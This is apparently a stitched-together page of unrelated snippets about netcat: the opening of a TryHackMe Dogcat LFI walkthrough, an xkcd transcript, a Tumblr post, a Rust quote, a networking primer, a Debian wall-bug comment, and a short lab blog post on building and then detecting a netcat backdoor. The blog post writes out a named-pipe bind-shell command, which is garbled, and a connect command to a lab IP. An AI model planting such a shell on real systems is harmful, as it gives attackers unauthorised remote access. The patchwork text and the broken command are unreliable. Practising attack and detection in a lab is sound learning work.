DogCat - Exploiting LFI and Docker Privilege Escalation -TryHackMe Walkthrough

In this walkthrough, we’ll explore the Dogcat room on TryHackMe, a box that features a Local File Inclusion (LFI) vulnerability and Docker privilege escalation. LFI allows us to read sensitive files from the system and eventually gain access to the server.There are a total of 4 flags in this machine which we need to find. Let’s Dive in! Step 1: Scanning the Target Start by scanning the target…

If you repeatedly rerun the development of technological civilization, it turns out that for some reason the only constant is that there is always a networking utility called 'netcat', though it does a different thing in each one.

Network Configurations [Explained]

Transcript

[Ponytail is sitting on an office chair at her computer with a headset on. A zigzag line indicates what is shown on the computer screen] Ponytail (typing): Ugh, your connection is so laggy. Computer: Yeah, sorry.

[Cueball is sitting on an office chair at his laptop] Cueball (typing): It's because I messed up my network configuration and now I have to rebuild a separate civilization from scratch for each packet.

[Ponytail at her computer] Ponytail (typing): Huh? Ponytail (typing): What are you talking about? Ponytail (typing): ...Hello?

[Beat panel]

[Cueball, with dirt on his head and around him, is at an old computer setup with an agricultural tool resting on his now non-office chair] Cueball (typing): Sorry, got stuck in the Neolithic that time. Cueball (typing): Inventing farming takes forever.

Woahhh this is so.. so aquacore...

Netcat belongs to aquasine!!

if you are a fluent speaker of another language(s) and feel so inclined:

on my neocities site i have a little JS mouseover thing where once you hover over it it shows the name of my site (netcat) in different languages. in the past i just had the languages that i myself could reasonably supply a translation for but i am bored with this and want to have it be the fucking rosetta stone. so!

please respond to this with how you would translate netcat into your language, and ill put it up there :] with credit of course..!

Quote of the Week

My take on this is that you cannot use async Rust correctly and fluently without understanding Arc, Mutex, the mutability of variables/references, and how async and await syntax compiles in the end. Rust forces you to understand how and why things are the way they are. It gives you minimal abstraction to do things that could’ve been tedious to do yourself.

I got a chance to work on two projects that drastically forced me to understand how async/await works. The first one is to transform a library that is completely sync and only requires a sync trait to talk to the outside service. This all sounds fine, right? Well, this becomes a problem when we try to port it into browsers. The browser is single-threaded and cannot block the JavaScript runtime at all! It is arguably the most weird environment for Rust users. It is simply impossible to rewrite the whole library, as it has already been shipped to production on other platforms.

What we did instead was rewrite the network part using async syntax, but using our own generator. The idea is simple: the generator produces a future when called, and the produced future can be awaited. But! The produced future contains an arc pointer to the generator. That means we can feed the generator the value we are waiting for, then the caller who holds the reference to the generator can feed the result back to the function and resume it. For the browser, we use the native browser API to derive the network communications; for other platforms, we just use regular blocking network calls. The external interface remains unchanged for other platforms.

Honestly, I don’t think any other language out there could possibly do this. Maybe C or C++, but which will never have the same development speed and developer experience.

I believe people have already mentioned it, but the current asynchronous model of Rust is the most reasonable choice. It does create pain for developers, but on the other hand, there is no better asynchronous model for Embedded or WebAssembly.

Back Doors in Kali Linux

Lately, I have been working to try and make my skills better or more employable. But I need to get my linux skills up.

I started working on making Backdoors with Kali Linux, and how to see if there is something in the system. Without using a GUI.

Setting up a couple of Virtual Machines I got started,

First to set up the back door.

I made a file using the mknod backpipe p. Then used NetCat to listen using the greater than and lesser than symbols to show where the information would flow.

Command

/bin/bash backpipe 0<backpipe | nc -1>backpipe

I got the IP address off my other session and set NetCat to begin listening to the files on port 2222, using ls command to make sure that backpipe was running.

Command

nc 10.10.126.139 2222

I begin to look at the machine I am invading, this time as the defender.

Running the command lsof -i -P I begin to look at the current open files on the infected system. Looking through the information, you will see that Something is listening on the port of 2222. on the PID number of 2211. Something to look into.

So to get more detail of the full proccess I put in the command of ps aux.

Looking at what I can find, it looks like Netcat is running under root and still listening to port 2222. However, this could be something else running, so I need to dig a little more to find out what is going on in the program is doing. So I used cd /proc/2211 to move into the folder and then ls to look directories.

But I will need more information if I want to know what it is doing. So I run the strings command with a focus on the executable library strings ./exe | less.

This brought up some interesting things running. Unix Connection, IPv6 traffic, and finally, password information all things that could be a threat.

Yeah this would be a major red flag and would require much more digging.

In closing, I can see that there is so much more I need to learn, and I think the only way I will learn is through practice.

Introduction to Server and Network Programming

Server and network programming is essential for building applications that communicate over the internet or local networks. From creating web servers to building chat apps or IoT solutions, understanding networking fundamentals is key for any modern developer.

What is Server and Network Programming?

Server and network programming involves writing code that enables applications to communicate with each other over a network. This includes:

Creating and managing servers

Establishing network connections

Sending and receiving data (HTTP, TCP/IP, UDP)

Managing client-server interactions

Common Use Cases

Web servers and APIs

Chat applications

Multiplayer games

IoT device communication

File transfer services

Key Concepts in Network Programming

IP Address: Identifies a device on a network

Port: Endpoint for communication on a device

Client-Server Model: One device requests (client), another responds (server)

Protocols: Rules for data exchange (TCP, UDP, HTTP, FTP, etc.)

Sockets: Programming interface for network communication

Popular Languages for Network Programming

Python: Great for rapid prototyping and learning (socket, asyncio, Flask)

JavaScript/Node.js: Ideal for real-time apps (Express, WebSockets)

Java: Enterprise-grade networking (ServerSocket, RMI)

C/C++: Low-level networking with high performance (raw sockets)

Go: Fast and efficient concurrency (net/http, goroutines)

1. Creating a Simple Server in Python

import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('localhost', 8080)) server.listen(1) print("Waiting for a connection...") conn, addr = server.accept() print(f"Connected to {addr}") conn.send(b"Hello from the server!") conn.close()

2. Making a Request (Client Side)

import socket client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('localhost', 8080)) message = client.recv(1024) print("Received:", message.decode()) client.close()

3. RESTful API with Node.js

// Install Express first: npm install express const express = require('express'); const app = express(); app.get('/', (req, res) => res.send('Hello from Node server!')); app.listen(3000, () => console.log('Server running on port 3000'));

4. Real-Time Communication with WebSockets

Use WebSockets for two-way communication:

Socket.io (Node.js)

ws library (JavaScript)

WebSocket library (Python)

5. Network Security Basics

Use HTTPS to encrypt web traffic

Sanitize inputs to avoid injection attacks

Use authentication tokens or API keys

Implement firewalls and access control

6. Tools and Protocol Analyzers

Wireshark: Analyze network packets

Postman: Test HTTP APIs

Netcat: Debug and scan ports

Ping/traceroute: Diagnose connectivity

Conclusion

Server and network programming are crucial for building scalable, efficient, and connected applications. Whether you're interested in building a simple REST API or a real-time multiplayer game, a strong grasp of networking concepts will take your skills to the next level.

debian's util-linux/NEWS be like:

The mesg(1) and write(1) programs are no longer provided. It is believed chatting between users is nowadays done using more secure facilities.

Like, um, netcat, I guess? Yeah, I think it's netcat then.

The context is that recent wall bug where it was possible to bypass the escaping and send raw bytes to user's terminal, which obviously leads to an arbitrary pwnage. Debian being debian fixed the bug by making it worse at first. They applied the upstream patch, but also made it irrelevant by disabling the use of the tty group. Normally mesg y makes the terminal writable to the tty group. The write and wall commands are sgid tty so they can be used to write to it. Older way to which debian reverted is to just make the terminal world writable upon mesg y so that anyone can write to it directly without giving mesg or wall the chance to enforce any sanitization. Oops. (The upstream later made the option to compile without tty group effectively a noop. No, it's not supposed to work.)

But the truth is it's impossible to make the escaping correct without knowing the type and locale of the target terminal. At least not if we want to allow anything more than ASCII letters and digits. It was good enough in many configurations, but not, e.g., if you did mesg y under screen. Debian doesn't care about POSIX so it just decided it needs no write at all.
